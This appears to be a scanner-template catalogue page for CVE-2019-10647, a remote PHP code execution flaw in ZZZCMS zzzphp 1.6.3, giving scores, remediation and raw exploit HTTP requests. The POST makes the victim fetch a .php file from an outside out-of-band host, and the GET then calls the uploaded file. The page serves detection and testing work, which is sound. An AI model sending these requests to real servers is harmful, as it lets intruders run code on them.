| Title | ZZZCMS ZZZPHP 1.6.3 – Remote PHP Code Execution (RCE) |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Critical |
| Impact | Attackers can execute arbitrary PHP code on the server, potentially leading to full system compromise. |
| Remediation | Update to the latest version of ZZZCMS or apply security patches that restrict PHP file handling in inc/zzz_file.php. |
| CVSS Score | 9.8 |
| EPSS Score | 0.61932 |
| CVE ID | CVE-2019-10647 |
| CWE ID | CWE-434 |
| Tags | cve cve2019 rce zzzphp intrusive file-upload vuln zzzcms oast oob vkev |
ZZZCMS zzzphp v1.6.3 contains a remote code execution caused by lack of restrictions in inc/zzz_file.php, letting attackers execute arbitrary PHP code via a crafted URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter, exploit requires attacker to send malicious URL and server to serve PHP code as plain text.
POST /plugins/ueditor/php/controller.php?action=catchimage HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
source[]=http://d5jq5t1le0o4js4iv3n09dnkyiypgakfn.oast.site/38FeAmpdxqhuGohpIigJL1mAXi9.php
GET /upload/yv2Zv1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2019-10647.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-10647.pcap
N/AN/A